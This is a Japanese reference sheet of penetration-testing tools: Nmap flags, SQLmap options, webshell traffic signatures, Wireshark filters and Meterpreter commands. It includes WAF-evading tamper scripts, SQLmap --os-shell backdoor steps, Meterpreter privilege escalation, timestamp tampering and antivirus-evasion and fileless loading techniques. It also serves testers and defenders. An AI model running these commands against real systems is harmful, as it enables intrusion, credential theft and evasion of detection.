セキュリティツールの活用
1.ペネトレーションテストツール
強力なペネトレーションテストフレームワークの活用法
2.Nmapスキャンコマンド
nmap hostname/IPまたは複数IPまたはサブネット192.168.123.*
-
-iL target.txt target.txt内のすべてのIPをスキャン
-
-A -sV、-Oを含む、OS情報検出と traceroute。激しいスキャンなので注意
-
-O OSバージョン検出
-
-sV サービスバージョン特定
-
-sA ファイアウォールやパケットフィルターの存在確認
-
-sS ハーフオープンスキャン、ログ記録されにくいがroot権限が必要
-
-sT TCP connect()スキャン、相手側に多数の接続ログが残る
-
-sP pingスキャン、生存確認のみ。ping禁止ホストは検出できないため注意
-
-sN TCP NULLスキャン
-
-F 高速スキャンモード
-
-Pn pingを事前に実行しない、firewall環境で有効
-
-p ポート/ポート範囲指定
-
-oN レポートをファイル出力
-
-v 詳細情報表示
-
-T<0-5> スキャン速度設定
スクリプト活用
- --script all 全スクリプト実行
- --script=sql.injection.nse SQLインジェクション検出
- --script="smb*" SMB関連スキャン
主要機能:ホスト検出(-sn)、ポートスキャン(-sS -sU)、バージョン検知(-sV)、OS検知(-O)
スキャン方式:TCP connect()、TCP SYN、TCP FIN、NULLスキャン等
ping回避:nmap -Pn XXX.XXX.XXX.XXX
脆弱性検出:nmap target --script=auth,vuln
3.SQLmap活用テクニック
-
-u 単一URL -m targets.txt 複数URL
-
-d "mysql://user:pass@10.10.10.137:3306/dvwa" DB直接接続
-
--data POST/GETパラメータ指定
-
-p 対象パラメータ指定
-
-r リクエストファイル読み込み
-
-f フィンガープリント取得
-
--tamper エンコーディングスクリプト、WAF回避用
-
--cookie --user-agent --host HTTPヘッダー変更
-
--threads 並列スレッド数(デフォルト1)
-
--dbms MySQL<5.0> DBタイプまたはバージョン指定
-
–level=LEVEL テストレベル(1-5、デフォルト1)
-
–risk=RISK テストリスク(0-3、デフォルト1)高リスクはデータ改変リスクあり–current-db 現在のDB名取得
-
–dbs DBMSのデータベース一覧
-
–tables テーブル一覧
-
–columns カラム一覧
-
-D DB 対象データベース指定
-
-T TBL 対象テーブル指定
-
-C COL 対象カラム指定
-
-U USER 対象ユーザー指定
主なtamperスクリプト
- base64encode.py #Base64エンコード
- charencode.py URLエンコード
- chardoubleencode.py 二重URLエンコード
- unmagicquotes.py ワイドバイト対応
- randomcomments.py SQLキーワードを/* */で分割
- space2plus.py space2comment.py 空白文字置換
POSTインジェクション
sqlmap -r request.txt -p "param" -dbms mysql
GETインジェクション
sqlmap -u "http://target/param" --dbms mysql
対話的シェル取得
1-要件:管理者権限、Web絶対パス、Cookie取得
2-sqlmap.py -u "target" --cookie="session" --os-shell
3-Web絶対パス入力
4-バックドア設置
4.WebShellツール通信パターン
チョッパー(中国菜刀)特徴
Base64暗号化で命令を送信、z1とz2が主要ペイロード(名前は変更可能)
アンツソード(蚁剑)特徴
デフォルトUA: antsword xxx(/modules/request.jsで変更可能)
@ini_set("display_errors","0");はPHP WebShell共通の特徴
混淆後パラメータ名は"_0x......="形式(アンダースコアは変更可能)
ビハインダー(冰蝎)特徴
POSTリクエストが基本
-
Acceptヘッダー: application/xhtml+xml,application/xml(弱い特徴)
-
Content-Type: application/octet-stream(強い特徴、二進データ専用)
ビハインダー2特徴
特殊なAccept値、古いUA(変更可能)
Content-Length: 16が接続時の特徴
ビハインダー3特徴
動的鍵取得を廃止
1)Acceptヘッダー特徴は同様(弱い特徴)
2)古いUA(16種類内蔵、変更可能)
JSPではContent-Type: application/octet-streamが強い特徴
5.ゴジラ通信パターン
PHP接続特徴
(1)php_XOR_BASE64
POST /uploads/shell.php HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
token=ENCRYPTED_PAYLOAD
JSP接続特徴
(1)java_AES_BASE64
POST /shell.jsp HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:555
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 33035
Connection: close
pass=AES_ENCRYPTED_DATA
PHPと同様に"pass="パラメータを含み、初期レスポンスのContent-Lengthは0
(2)java_AES_RAW
POST /raw.jsp HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:555
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 23360
Connection: close
BINARY_AES_DATA
6.Wiresharkフィルター技法
IPフィルター
送信元IP: ip.src==192.168.1.1、宛先IP: ip.dst==192.168.1.1
ポートフィルター
ポート80: tcp.port==80、送信元: tcp.srcport==80、宛先: tcp.dstport==80
プロトコルフィルター
プロトコル名直接入力(例: http、https、dns)
HTTPメソッドフィルター
GETリクエスト: http.request.method=="GET" POSTリクエスト: http.request.method=="POST"
7.Metasploit活用術
基本コマンド
background #セッションをバックグラウンドへ sessions -i ID #セッションIDで接続 quit #セッション終了 shell #コマンドプロンプト取得 cat /etc/passwd #ファイル内容表示 getwd #現在のディレクトリ確認
upload /tmp/malware.exe C:\ #ターゲットへファイルアップロード download secret.txt /tmp/ #ターゲットからファイルダウンロード edit C:\boot.ini #ファイル編集 search -d C:\inetpub -f *.config #ファイル検索 ps #実行中プロセス一覧 migrate PID #プロセスIDへ移行 execute -H -i -f cmd.exe #不可視でCMD起動 getpid #現在のプロセスID kill PID #プロセス終了 getuid #現在の権限確認 sysinfo #システム情報取得 getsystem #権限昇格 timestomp C:\file.doc -c "2023/01/01 12:00:00" #ファイルタイムスタンプ変更
プロセス移行手順
- meterpreter > ps
- 移行先PIDを選択
- meterpreter > migrate PID
マルウェア回避技術
Fuzzingで検出箇所を特定し、エンコード、暗号化、動的実行、分割結合、条件実行等で回避
ファイルレス実行手法
- PowerShell → powershell.exe
- VBScript → cscript.exe
- バッチファイル → cmd.exe
- JavaScript → mshta.exe
01-Shellcode回避
1.エンコーディング 2.パッキング 3.難読化 4.分離ローディング 5.シグネチャ改変 6.ダミーコード追加 7.API再実装
02-分離免殺
ローダーとShellcodeを分離、ShellcodeをWebサーバーや画像に格納し遠隔ロード
03-PowerShell遠隔ローディング
Mimikatz、RAT、実行ファイルを遠隔ロードしファイルレス実現